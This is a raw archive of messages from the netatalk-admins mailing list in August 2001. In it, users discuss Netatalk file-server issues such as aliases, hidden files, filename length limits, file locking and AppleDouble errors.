MIME-Version: 1.0
To: Lee Blevins <leeb@digitalgraphics.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: That old alias thing again
References: <1eyql6a.zgbr0o1t3p9v8M@cx448422-b.wwck1.ri.home.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Lee Blevins wrote:

>>A probable solution would involve another set of netatalk owned files,
>>more configuration, another server daemon, a lot of work and in the
>>beginning surely more user frustration compared to the few who actually
>>complain about alias problems now. I don't know anything about the
>>development resources but can imagine that arguments are there ...
> 
> So for those of us in proffessional prepress netatalk remains just a
> curiosity and not a contender for a file server.

I understand your doubts about netatalk, but we're currently finishing 
up a possible solution for the persistent alias problem that netatalk 
has been having, which will be ready for the 1.5 release. Grab the CVS 
version from sourceforge and submit some bug reports if you can.

Thanks,
Jeff


From netatalk.administrators-errors@umich.edu  Mon Aug 27 16:55:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27204
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 16:55:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA17323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 16:55:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA17318
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 16:55:22 -0400 (EDT)
Received: from vibe.com ([65.105.250.196])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA17303
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 16:55:21 -0400 (EDT)
Received: from [65.105.250.198] (HELO stuarthaasw2k)
  by vibe.com (CommuniGate Pro SMTP 3.4.7)
  with ESMTP-TLS id 365076; Mon, 27 Aug 2001 16:55:19 -0400
Message-ID: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k>
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Files not appearing in folder on mac client
Date: Mon, 27 Aug 2001 16:54:17 -0400
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2479.0006
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006

Hi,

I've encountered a strange problem with files that exist on the server not
showing up on Mac clients.  Mainly this happens with Microsoft office
documents created on a PC (running SAMBA on the server).  I can view the
documents fine on the PC, but you can't see them on the Mac.

I noticed that if you look in the .AppleDouble folder, that the files that
can't be seen on the Mac, don't appear there.

I am running the Netatalk 1.5pre6rh7, AFP over TCP/IP, on Redhat 7.1, with
2.4.6 kernel.

Any suggestions?

Stuart
------------------------------
Stuart Haas
IT Director
Vibe/Spin  Ventures
212.448.7493


From netatalk.administrators-errors@umich.edu  Mon Aug 27 18:56:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA06793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 18:56:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA02579
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 18:56:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA02570
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 18:56:30 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA02550
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 18:56:29 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id TAA02574
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 19:27:44 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <3B8A4D4D.1050700@univrel.pr.uconn.edu>
Subject: Re: That old alias thing again
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Mon, 27 Aug 2001 18:56:37 -0400
Message-ID: <1eytb8k.12w4k369cov74M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 216 days)

> I understand your doubts about netatalk, but we're currently finishing
> up a possible solution for the persistent alias problem that netatalk
> has been having, which will be ready for the 1.5 release. Grab the CVS
> version from sourceforge and submit some bug reports if you can.
> 
> Thanks,
> Jeff

It didn't compile on freebsd 3.2. I realize that's an old version. 

Does it require 4.x?

From netatalk.administrators-errors@umich.edu  Mon Aug 27 19:10:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07195
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 19:10:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA23800
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 19:10:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA23794
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 19:10:07 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA23765
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 19:10:05 -0400 (EDT)
Received: (qmail 9372 invoked from network); 27 Aug 2001 23:09:20 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 27 Aug 2001 23:09:20 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Netatalk List'" <netatalk-admins@umich.edu>
Subject: How active is the cvs tree?
Date: Tue, 28 Aug 2001 09:09:25 +1000
Message-ID: <000e01c12f4d$515a6370$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <3B8A4D4D.1050700@univrel.pr.uconn.edu>
Importance: Normal

Just a curious question, more than anything. for those fearless souls out
there, how worthwhile would it be for us to cruise the cvs repository, and
grab nightly releases there, rather than just grabbing 1.5pre6 and
complaining about the same bugs...

I see 1.5pre7 was just released too! woohoo! going to have a play with it
now...

Cheers all,

Chris


From netatalk.administrators-errors@umich.edu  Mon Aug 27 20:06:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA09223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 20:06:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA16290
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 20:06:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA16285
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 20:06:10 -0400 (EDT)
Received: from imo-m03.mx.aol.com (imo-m03.mx.aol.com [64.12.136.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA16264
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 20:06:09 -0400 (EDT)
Received: from pkuczyns@netscape.net
	by imo-m03.mx.aol.com (mail_out_v31_r1.4.) id a.3.1d926ca (16244)
	 for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 20:06:18 -0400 (EDT)
Received: from  netscape.com (mow-m03.webmail.aol.com [64.12.184.131]) by air-in03.mx.aol.com (v80.17) with ESMTP id MAILININ38-0827200618; Mon, 27 Aug 2001 20:06:18 -0400
Date: Mon, 27 Aug 2001 20:06:18 -0400
From: pkuczyns@netscape.net (Pete K.)
To: netatalk-admins@umich.edu
Subject: unsubscribe
Message-ID: <04014967.473A34C5.00A5D65B@netscape.net>
X-Mailer: Atlas Mailer 1.0
Content-Type: text/plain; charset=iso-8859-1




__________________________________________________________________
Your favorite stores, helpful shopping tools and great gift ideas. Experience the convenience of buying online with Shop@Netscape! http://shopnow.netscape.com/

Get your own FREE, personal Netscape Mail account today at http://webmail.netscape.com/


From netatalk.administrators-errors@umich.edu  Mon Aug 27 20:55:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA11042
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 20:55:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA04096
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 20:55:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA04074
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 20:55:08 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA04015
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 20:55:06 -0400 (EDT)
Received: from [195.20.224.219] (helo=mrvdom03.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15bX9m-0004ZB-00
	for netatalk-admins@umich.edu; Tue, 28 Aug 2001 02:55:06 +0200
Received: from pc19f6ead.dip0.t-ipconnect.de ([193.159.110.173])
	by mrvdom03.schlund.de with esmtp (Exim 2.12 #2)
	id 15bX9l-0008E2-00
	for netatalk-admins@umich.edu; Tue, 28 Aug 2001 02:55:05 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 28 Aug 2001 02:53:46 +0200
Subject: Re: Sorry, the password you entered is incorrect. 
	Pleasereenterit.
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7B0B735.2A193%ts@visual-s.de>
In-Reply-To: <000e01c12e96$15dc8470$c8965ecb@faredge.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-08-27 03:17 +0200, Chris Herrmann wrote:

> # ./configure --prefix=/usr/local/netatalk --sysconfdir=/etc/netatalk \
> --with-config-dir=/etc/netatalk --with-pam --with-shadow \
> --with-ssl-dir=/usr/local/openssl --enable-timelord \
> --with-flock-locks --with-tcp-wrappers --enable-lastdid
> 
> Once it's configured happily, make, make install. Try plugging in the
> following config files in /etc/netatalk/ - if they work, they'll at least
> give you a starting point, from where you can tweak them to make them work
> for you.
> 
> The above config is what I needed to get it working correctly with file
> locking for quark xpress users, using a 2.4 kernel. it behaves differently
> with a 2.2 kernel.

I'm wondering about --with-flock-locks ... after upgrading my test
server (now Suse 7.2) to a 2.4 Kernel, for the first time byte range
locking works -- and for me, it works with QXPress as well.

Did you give byte range locking a try?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Aug 27 21:09:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11478
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 27 Aug 2001 21:09:18 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA20819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 27 Aug 2001 21:09:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA20813
	for netatalk.administrators-members@umich.edu; Mon, 27 Aug 2001 21:09:03 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA20782
	for <netatalk-admins@umich.edu>; Mon, 27 Aug 2001 21:09:01 -0400 (EDT)
Received: (qmail 10913 invoked from network); 28 Aug 2001 01:08:36 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 28 Aug 2001 01:08:36 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Netatalk-Admins'" <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect. Pleasereenterit.
Date: Tue, 28 Aug 2001 11:08:40 +1000
Message-ID: <002b01c12f5d$faa95570$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <B7B0B735.2A193%ts@visual-s.de>
Importance: Normal

I haven't managed to get byte range locking working.

<snip>
I'm wondering about --with-flock-locks ... after upgrading my test
server (now Suse 7.2) to a 2.4 Kernel, for the first time byte range
locking works -- and for me, it works with QXPress as well.

Did you give byte range locking a try?
</snip>


From netatalk.administrators-errors@umich.edu  Tue Aug 28 01:58:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA20896
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 01:58:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA11021
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 01:57:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA11019
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 01:57:51 -0400 (EDT)
Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA10991
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 01:57:48 -0400 (EDT)
Received: from faxserver ([63.60.247.77]) by mta03.mail.mel.aone.net.au
          with ESMTP
          id <20010828055758.SBGJ355.mta03.mail.mel.aone.net.au@faxserver>;
          Tue, 28 Aug 2001 15:57:58 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15bXlO-0000Go-00; Tue, 28 Aug 2001 11:33:58 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 28 Aug 2001 11:33:58 +1000
Subject: Re: Files not appearing in folder on mac client
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Stuart Haas <shaas@vibe.com>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Message-ID: <B7B13226.25B4%editor.ac@churchesofchrist.org.au>
In-Reply-To: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Are the file names greater than that allowed on the Mac? I understand that
filenames longer than 32 characters cause the files not to show up in
netatalk.

HTH
Nigel.

> From: "Stuart Haas" <shaas@vibe.com>
> Organization: Vibe/Spin Ventures
> Date: Mon, 27 Aug 2001 16:54:17 -0400
> To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> Subject: Files not appearing in folder on mac client
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 27 Aug 2001 17:06:05 -0400 (EDT)
> 
> I've encountered a strange problem with files that exist on the server not
> showing up on Mac clients.  Mainly this happens with Microsoft office
> documents created on a PC (running SAMBA on the server).  I can view the
> documents fine on the PC, but you can't see them on the Mac.
> 


From netatalk.administrators-errors@umich.edu  Tue Aug 28 04:26:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA24817
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 04:26:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA10906
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 04:26:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA10896
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 04:26:02 -0400 (EDT)
Received: from miazaki.bopjet.net (miazaki.bopjet.net [64.69.73.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id EAA10884
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 04:26:01 -0400 (EDT)
Received: (qmail 31090 invoked from network); 28 Aug 2001 08:22:46 -0000
Received: from unknown (HELO ?10.0.1.8?) (216.232.160.244)
  by miazaki.bopjet.net with SMTP; 28 Aug 2001 08:22:46 -0000
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 28 Aug 2001 01:26:09 -0700
Subject: Can't parse AppleDouble header
From: Ian Wojtowicz <ian@bitmovers.com>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B7B0A3B1.A66889BB%ian@bitmovers.com>
In-Reply-To: <3B8A4D4D.1050700@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I keep getting the following message in my log file:

ad_refresh: can't parse AppleDouble header.

Any ideas what the cause of the problem might be? I've tried deleting my
.AppleDouble directories in order to let netatalk recreate them, but that
doesn't seem to help.

I'm using Netatalk 1.4b2.

___________________________________________________________________________
ian wojtowicz                                          http://bitmovers.com

Bitmovers produces the best tool currently available
for online application development. Get your copy at:

         http://maui.bitmovers.com



From netatalk.administrators-errors@umich.edu  Tue Aug 28 04:35:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA25144
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 04:35:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA18005
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 04:35:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA17998
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 04:35:43 -0400 (EDT)
Received: from keen.co.it ([217.172.207.212])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA17965
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 04:35:40 -0400 (EDT)
Received: from RENATO (client2 [192.168.1.21])
	by keen.co.it (8.9.3/8.9.3) with SMTP id KAA04004
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 10:40:40 +0200
Message-ID: <002501c12f9c$78673d40$1501a8c0@RENATO>
From: "Keen srl" <renato@keen.co.it>
To: <netatalk-admins@umich.edu>
Subject: trash folder
Date: Tue, 28 Aug 2001 10:36:01 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0022_01C12FAD.3B8B30F0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0022_01C12FAD.3B8B30F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hi,=20
where i can find the content of the trsh folder on the linux server?

what i mean is about this: all my mac clients have on trash folder the =
same things (a couple of file) and they can't empty it because the =
system says that " the file are in use". of course no one use this file =
i remember that i read on this list a problem about network trash folder =
on netatalk server.
so first of all i would like to go to the server and try to cancel these =
files by hand and then, if possible, solve the problem.

any idea?

TIA Renato Pontefice

------=_NextPart_000_0022_01C12FAD.3B8B30F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#c8e0d8>
<DIV><FONT face=3DArial size=3D2>hi, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>where i can find the content of the =
trsh folder on=20
the linux server?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>what i mean is about this: all my mac =
clients=20
</FONT><FONT face=3DArial size=3D2>have on trash folder the same things =
(a couple of=20
file) and they can't empty it because the system says that " the file =
are in=20
use". of course no one use this file i remember that i read on this list =
a=20
problem about network trash folder on netatalk server.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>so first of all i would like to go to =
the server=20
and try to cancel these files by hand and then, if possible, solve the=20
problem.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>any idea?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>TIA Renato =
Pontefice</FONT></DIV></BODY></HTML>

------=_NextPart_000_0022_01C12FAD.3B8B30F0--


From netatalk.administrators-errors@umich.edu  Tue Aug 28 07:15:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA29199
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 07:15:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA29019
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 07:15:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA29008
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 07:15:35 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA28984
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 07:15:34 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id f7SBFmb04734
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 07:15:48 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210100b7b12d9a7784@[216.155.36.73]>
In-Reply-To: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k>
References: <021d01c12f3a$6ffa0730$2500a8c0@stuarthaasw2k>
Date: Tue, 28 Aug 2001 07:15:47 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <rmcbeth@mobiusnm.com>
Subject: Re: Files not appearing in folder on mac client
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN


	Stwart,


	Is it possible that the PC people are creating files with 
longer than 32 characters in the filename?

	Are they creating files with colon's ( : ) in the filename?

	Ryan

>Hi,
>
>I've encountered a strange problem with files that exist on the server not
>showing up on Mac clients.  Mainly this happens with Microsoft office
>documents created on a PC (running SAMBA on the server).  I can view the
>documents fine on the PC, but you can't see them on the Mac.
>
>I noticed that if you look in the .AppleDouble folder, that the files that
>can't be seen on the Mac, don't appear there.
>
>I am running the Netatalk 1.5pre6rh7, AFP over TCP/IP, on Redhat 7.1, with
>2.4.6 kernel.
>
>Any suggestions?
>
>Stuart
>------------------------------
>Stuart Haas
>IT Director
>Vibe/Spin  Ventures
>212.448.7493

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
You can't build a reputation on what you are going to do.
  - Henry Ford

From netatalk.administrators-errors@umich.edu  Tue Aug 28 07:42:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA29676
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 28 Aug 2001 07:42:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA08088
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 28 Aug 2001 07:42:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA08077
	for netatalk.administrators-members@umich.edu; Tue, 28 Aug 2001 07:42:35 -0400 (EDT)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA08052
	for <netatalk-admins@umich.edu>; Tue, 28 Aug 2001 07:42:34 -0400 (EDT)
Received: from ns06-n66-039.de.inter.net ([213.73.66.39] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15bhGK-00024G-00; Tue, 28 Aug 2001 13:42:32 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id NAA32446;
	Tue, 28 Aug 2001 13:25:28 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Files not appearing in folder on mac client
Date: Tue, 28 Aug 2001 13:12:28 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B7B13226.25B4%editor.ac@churchesofchrist.org.au>
In-Reply-To: <B7B13226.25B4%editor.ac@churchesofchrist.org.au>
MIME-Version: 1.0
Message-Id: <01082813252700.31238@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA29676

On Tue, 28 Aug 2001, Nigel Pegram wrote:
> Are the file names greater than that allowed on the Mac? I understand that
> filenames longer than 32 characters cause the files not to show up in
> netatalk.

31 chars!
One is for the (PASCAL-)string length. ;-)

> 
> HTH
> Nigel.
> 
> > From: "Stuart Haas" <shaas@vibe.com>
> > Organization: Vibe/Spin Ventures
> > Date: Mon, 27 Aug 2001 16:54:17 -0400
> > To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> > Subject: Files not appearing in folder on mac client
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Mon, 27 Aug 2001 17:06:05 -0400 (EDT)
> > 
> > I've encountered a strange problem with files that exist on the server not
> > showing up on Mac clients.  Mainly this happens with Microsoft office
> > documents created on a PC (running SAMBA on the server).  I can view the
> > documents fine on the PC, but you can't see them on the Mac.
> >

From netatalk.administrators-errors@umich.edu  Tue Aug 28 08:03:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
